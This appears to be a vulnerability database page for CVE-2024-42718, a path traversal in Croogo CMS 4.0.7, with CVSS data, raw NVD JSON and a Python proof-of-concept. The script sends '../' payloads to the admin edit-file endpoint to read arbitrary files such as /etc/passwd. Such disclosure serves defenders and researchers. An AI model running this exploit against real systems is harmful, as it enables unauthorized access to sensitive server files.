Security Vulnerability Report
中文
CVE-2024-42718 CVSS 6.5 MEDIUM

CVE-2024-42718

Published: 2025-12-26 17:15:42
Last Modified: 2025-12-31 21:35:57

Description

A path traversal vulnerability in Croogo CMS 4.0.7 allows remote attackers to read arbitrary files via a specially crafted path in the 'edit-file' parameter.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:croogo:croogo:4.0.7:*:*:*:*:*:*:* - VULNERABLE
Croogo CMS 4.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-42718 Path Traversal PoC for Croogo CMS 4.0.7 # Target: Croogo CMS file reading via edit-file parameter def exploit(target_url, file_path): """ Exploit path traversal vulnerability in Croogo CMS 4.0.7 Args: target_url: Base URL of the vulnerable Croogo CMS instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: Content of the requested file """ # Construct path traversal payload traversal = '../' * 6 payload = traversal + file_path.lstrip('/') # Target endpoint - file editor functionality endpoint = f"{target_url.rstrip('/')}/admin/attachments/edit-file" # Prepare request parameters params = { 'edit-file': payload } # Optional: Add authentication cookies if required cookies = { 'csrf_token': 'your_csrf_token_here', 'session': 'your_session_cookie' } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {file_path}") print(f"[+] Content length: {len(response.text)} bytes") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] result = exploit(target, file_to_read) if result: print("\n--- File Content ---") print(result[:500]) # Print first 500 chars

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-42718", "sourceIdentifier": "[email protected]", "published": "2025-12-26T17:15:42.360", "lastModified": "2025-12-31T21:35:56.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability in Croogo CMS 4.0.7 allows remote attackers to read arbitrary files via a specially crafted path in the 'edit-file' parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:croogo:croogo:4.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "342A9E02-72D4-4A4B-A197-45A38E8BAB6F"}]}]}], "references": [{"url": "https://github.com/croogo/croogo", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/jacopo1223/jacopo.github/tree/main/CVE-2024-42718", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}